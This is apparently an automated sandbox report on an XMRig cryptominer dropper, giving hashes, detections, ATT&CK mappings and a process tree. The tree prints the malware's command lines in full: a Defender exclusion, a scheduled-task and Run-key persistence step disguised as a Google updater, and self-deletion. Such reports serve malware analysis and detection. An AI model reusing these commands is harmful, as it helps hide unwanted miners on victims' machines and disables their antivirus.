xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
426s
max time network
1800s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
23/01/2024, 19:27

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General

Target
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Size 2.0MB
Sample240123-x6bvbafgem
SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
MD5 a16a669a09bf158058b83e04e69fe38e
SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 2496 created 1068	2496	DLKFnAGYJBNTnxwq.exe	1
PID 2496 created 1068	2496	DLKFnAGYJBNTnxwq.exe	1
PID 2496 created 1068	2496	DLKFnAGYJBNTnxwq.exe	1
PID 2496 created 1068	2496	DLKFnAGYJBNTnxwq.exe	1
PID 3000 created 1068	3000	updater.exe	1
PID 3000 created 1068	3000	updater.exe	1
PID 3000 created 1068	3000	updater.exe	1
PID 3000 created 1068	3000	updater.exe	1
PID 2036 created 1068	2036	conhost.exe	1
PID 3000 created 1068	3000	updater.exe	1

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 29 IoCs

miner

resource	yara_rule
behavioral9/memory/2636-72-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2636-74-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2636-78-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2636-80-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2636-82-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2636-84-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2636-86-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2636-88-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2636-90-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2636-92-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2636-94-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2636-96-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2636-98-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2636-100-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2636-102-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2636-104-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2636-106-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2636-108-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2636-110-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2636-112-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2636-114-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2636-116-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2636-118-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2636-120-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2636-127-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2636-129-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2636-131-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2636-133-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2636-135-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2592	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
3000	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
2840	taskeng.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral9/memory/2636-68-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2636-72-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2636-74-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2636-78-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2636-80-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2636-82-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2636-84-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2636-86-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2636-88-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2636-90-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2636-92-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2636-94-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2636-96-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2636-98-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2636-100-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2636-102-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2636-104-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2636-106-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2636-108-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2636-110-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2636-112-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2636-114-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2636-116-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2636-118-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2636-120-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2636-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2636-129-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2636-131-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2636-133-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2636-135-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 3000 set thread context of 2036	3000	updater.exe	43
PID 3000 set thread context of 2636	3000	updater.exe	45

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	DLKFnAGYJBNTnxwq.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2664	schtasks.exe
2536	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1692	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = a00e0ae99e51da01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
2496	DLKFnAGYJBNTnxwq.exe
2496	DLKFnAGYJBNTnxwq.exe
2484	powershell.exe
2496	DLKFnAGYJBNTnxwq.exe
2496	DLKFnAGYJBNTnxwq.exe
2800	powershell.exe
2496	DLKFnAGYJBNTnxwq.exe
2496	DLKFnAGYJBNTnxwq.exe
2496	DLKFnAGYJBNTnxwq.exe
2496	DLKFnAGYJBNTnxwq.exe
2112	powershell.exe
3000	updater.exe
3000	updater.exe
764	powershell.exe
3000	updater.exe
3000	updater.exe
1540	powershell.exe
3000	updater.exe
3000	updater.exe
3000	updater.exe
3000	updater.exe
2036	conhost.exe
2036	conhost.exe
3000	updater.exe
3000	updater.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2484	powershell.exe
Token: SeDebugPrivilege	2800	powershell.exe
Token: SeDebugPrivilege	2112	powershell.exe
Token: SeDebugPrivilege	764	powershell.exe
Token: SeDebugPrivilege	1540	powershell.exe
Token: SeDebugPrivilege	3000	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1692	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1692	WMIC.exe
Token: SeSecurityPrivilege	1692	WMIC.exe
Token: SeTakeOwnershipPrivilege	1692	WMIC.exe
Token: SeLoadDriverPrivilege	1692	WMIC.exe
Token: SeSystemtimePrivilege	1692	WMIC.exe
Token: SeBackupPrivilege	1692	WMIC.exe
Token: SeRestorePrivilege	1692	WMIC.exe
Token: SeShutdownPrivilege	1692	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1692	WMIC.exe
Token: SeUndockPrivilege	1692	WMIC.exe
Token: SeManageVolumePrivilege	1692	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1692	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1692	WMIC.exe
Token: SeSecurityPrivilege	1692	WMIC.exe
Token: SeTakeOwnershipPrivilege	1692	WMIC.exe
Token: SeLoadDriverPrivilege	1692	WMIC.exe
Token: SeSystemtimePrivilege	1692	WMIC.exe
Token: SeBackupPrivilege	1692	WMIC.exe
Token: SeRestorePrivilege	1692	WMIC.exe
Token: SeShutdownPrivilege	1692	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1692	WMIC.exe
Token: SeUndockPrivilege	1692	WMIC.exe
Token: SeManageVolumePrivilege	1692	WMIC.exe
Token: SeLockMemoryPrivilege	2636	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2800 wrote to memory of 2664	2800	powershell.exe	30
PID 2800 wrote to memory of 2664	2800	powershell.exe	30
PID 2800 wrote to memory of 2664	2800	powershell.exe	30
PID 2592 wrote to memory of 3008	2592	cmd.exe	32
PID 2592 wrote to memory of 3008	2592	cmd.exe	32
PID 2592 wrote to memory of 3008	2592	cmd.exe	32
PID 2112 wrote to memory of 2828	2112	powershell.exe	35
PID 2112 wrote to memory of 2828	2112	powershell.exe	35
PID 2112 wrote to memory of 2828	2112	powershell.exe	35
PID 2840 wrote to memory of 3000	2840	taskeng.exe	33
PID 2840 wrote to memory of 3000	2840	taskeng.exe	33
PID 2840 wrote to memory of 3000	2840	taskeng.exe	33
PID 1540 wrote to memory of 2536	1540	powershell.exe	51
PID 1540 wrote to memory of 2536	1540	powershell.exe	51
PID 1540 wrote to memory of 2536	1540	powershell.exe	51
PID 3000 wrote to memory of 2036	3000	updater.exe	43
PID 1032 wrote to memory of 1692	1032	cmd.exe	46
PID 1032 wrote to memory of 1692	1032	cmd.exe	46
PID 1032 wrote to memory of 1692	1032	cmd.exe	46
PID 3000 wrote to memory of 2636	3000	updater.exe	45

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1068
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\DLKFnAGYJBNTnxwq.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\DLKFnAGYJBNTnxwq.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2496
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2484
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\DLKFnAGYJBNTnxwq.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2592
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2112
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2800
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:2036
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2636
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:1032
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:2044
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1540
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:764

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
1⤵
- Creates scheduled task(s)
PID:2664

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:3008

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3000

C:\Windows\system32\taskeng.exe
taskeng.exe {B5D8D339-5367-47B2-BDD0-4717FA18F29C} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2840

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
1⤵
PID:2828

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1692

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
1⤵
- Creates scheduled task(s)
PID:2536

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 361KB
SHA256 cd5b3a821b766cb7ec044987af8c7c2d33732bed0e4d39a2f3d9eecdf6140189
MD5 4031ca3424a0cd802b901b1dd3c2cf6d
SHA1 3c037847dfb69b9d151b307fc7fa8ef0621960f5
SHA512 7516b019b06417137dbf26f1da7280072ccc7cf6f29aa85f9520b88dddcad814aae3e49611e5154bf53320bf76e7d1ae34241ce4cc6485906bce4e88ebcd8966
SSDEEP 6144:L3zjTg6uUuViDX5Q6k6hyqsD238zkU0yLbRfgajd0m8keLx73kb5T3FeFwH8w1mE:rWVi46hyqG2ckwLxgajd0mAVwb5T3dnH
MD5 SHA1 SHA512 SSDEEP

Submit Download

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 51KB
SHA256 46881f9a6274089637bd17494c36c73edce35b60b137c54cb754edcce85fb47c
MD5 eb4d234f99d38f7a3d6e405a62dd1550
SHA1 10d9d405a532138860d8f5fb8c7269ac0197b631
SHA512 4a80406386d57cfbade9f9b6f0951bdabfa51624d2dd82419fc630333e5f79eb17c3964668ecebb1ef2ef017c2546428b000342317e5ad308fe74ed0aed73d2a
SSDEEP 768:w80qZz2da1pk/0RQj8inRh6UZLyj5pLauwYY94E6l+NZoK7FOjxjx:L3zCarzIpyj5pLauwYY94E6w/oBx
MD5 SHA1 SHA512 SSDEEP

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g.log

Path C:\Program Files\Google\Libs\g.log
Size 198B
SHA256 8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
MD5 37dd19b2be4fa7635ad6a2f3238c4af1
SHA1 e5b2c034636b434faee84e82e3bce3a3d3561943
SHA512 86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
MD5 SHA1 SHA512

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THP3O7ZN7F5VGQ3SEPKE.temp

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\THP3O7ZN7F5VGQ3SEPKE.temp
Size 7KB
SHA256 8e8d887acd1fca0e65e3c7261aa8f8f7101cd6ec9d9def099831d4cdcb5b5a30
MD5 77dcdbb5b72bbbe67252f3302559b0cf
SHA1 141390959b37537e9dd32e2513a96318d23b1bd7
SHA512 e50b338318dacb5b1ddd41f8c1473806e16355ff79632e52659dbaddba059eea5555ab92191c36fcf92382d6a49a33005224d2b9cb3aa2faa720ed1e1cdc076d
SSDEEP 96:4VWC5M8HnqvsqvJCwoDojQVWC5M8HnqvsEHyqvJCworVoj2HEuhQHeV57HkXlUVy:83zUoDd3zAHnorVtH73V57HkQU
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path \Program Files\Google\Chrome\updater.exe
Size 260KB
SHA256 0118d4b1f2e67afc3bec0cb0d676f4c46213cb88a5b0e67b3fe6569e023fa497
MD5 cbcd0d812fa8bcb8507d2be4a8d24f4d
SHA1 9abe2e69e184f051071652e40f43872c62f59687
SHA512 381a69583d424b2872438f385ec1d3fe248a512ed9872fbc0da03ea813b846ae1dc0001eb085295d32154d49d7773ce7cadabead0e4605b2a108eb97227f03c2
SSDEEP 6144:L3zjTg6uUuViDX5Q6k6hyqsD238zkU0yLbRfgajd0m8keLx73kb5T9:rWVi46hyqG2ckwLxgajd0mAVwb5T9
MD5 SHA1 SHA512 SSDEEP

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memory/764-52-0x000007FEF5300000-0x000007FEF5C9D000-memory.dmp

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memory/764-46-0x000007FEF5300000-0x000007FEF5C9D000-memory.dmp

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memory/764-51-0x00000000008D0000-0x0000000000950000-memory.dmp

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memory/764-49-0x00000000008D0000-0x0000000000950000-memory.dmp

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memory/764-47-0x00000000008D0000-0x0000000000950000-memory.dmp

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memory/764-48-0x000007FEF5300000-0x000007FEF5C9D000-memory.dmp

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memory/764-50-0x00000000008D0000-0x0000000000950000-memory.dmp

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memory/1540-59-0x000007FEF5CA0000-0x000007FEF663D000-memory.dmp

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memory/1540-53-0x000007FEF5CA0000-0x000007FEF663D000-memory.dmp

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memory/1540-58-0x0000000000910000-0x0000000000990000-memory.dmp

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memory/1540-57-0x0000000000910000-0x0000000000990000-memory.dmp

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memory/1540-56-0x0000000000910000-0x0000000000990000-memory.dmp

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memory/1540-55-0x000007FEF5CA0000-0x000007FEF663D000-memory.dmp

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memory/1540-54-0x0000000000910000-0x0000000000990000-memory.dmp

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memory/2036-77-0x0000000140000000-0x0000000140016000-memory.dmp

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memory/2036-71-0x0000000140000000-0x0000000140016000-memory.dmp

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memory/2112-35-0x000007FEF5CA0000-0x000007FEF663D000-memory.dmp

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memory/2112-37-0x000007FEF5CA0000-0x000007FEF663D000-memory.dmp

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memory/2112-38-0x0000000002760000-0x00000000027E0000-memory.dmp

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memory/2112-39-0x0000000002760000-0x00000000027E0000-memory.dmp

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memory/2112-41-0x000007FEF5CA0000-0x000007FEF663D000-memory.dmp

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memory/2112-40-0x0000000002760000-0x00000000027E0000-memory.dmp

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memory/2112-36-0x0000000002760000-0x00000000027E0000-memory.dmp

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memory/2484-13-0x000007FEF5CA0000-0x000007FEF663D000-memory.dmp

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memory/2484-9-0x000007FEF5CA0000-0x000007FEF663D000-memory.dmp

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memory/2484-10-0x0000000002AB0000-0x0000000002B30000-memory.dmp

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memory/2484-11-0x0000000002AB0000-0x0000000002B30000-memory.dmp

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memory/2484-12-0x0000000002ABB000-0x0000000002B22000-memory.dmp

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memory/2484-6-0x0000000001EC0000-0x0000000001EC8000-memory.dmp

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memory/2484-8-0x0000000002AB0000-0x0000000002B30000-memory.dmp

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memory/2484-7-0x000007FEF5CA0000-0x000007FEF663D000-memory.dmp

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memory/2484-5-0x000000001B470000-0x000000001B752000-memory.dmp

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memory/2496-29-0x000000013F920000-0x000000013FB31000-memory.dmp

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memory/2496-0-0x000000013F920000-0x000000013FB31000-memory.dmp

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memory/2636-67-0x00000000001F0000-0x0000000000210000-memory.dmp

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memory/2636-86-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2636-68-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2636-135-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2636-133-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2636-131-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2636-129-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2636-127-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2636-120-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2636-118-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2636-116-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2636-69-0x0000000000270000-0x0000000000290000-memory.dmp

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memory/2636-70-0x00000000004A0000-0x00000000004C0000-memory.dmp

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memory/2636-114-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2636-72-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2636-74-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2636-75-0x0000000000270000-0x0000000000290000-memory.dmp

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memory/2636-76-0x00000000004A0000-0x00000000004C0000-memory.dmp

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memory/2636-112-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2636-78-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2636-80-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2636-82-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2636-84-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2636-110-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2636-88-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2636-90-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2636-92-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2636-94-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2636-96-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2636-98-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2636-100-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2636-102-0x0000000140000000-0x00000001407F4000-memory.dmp

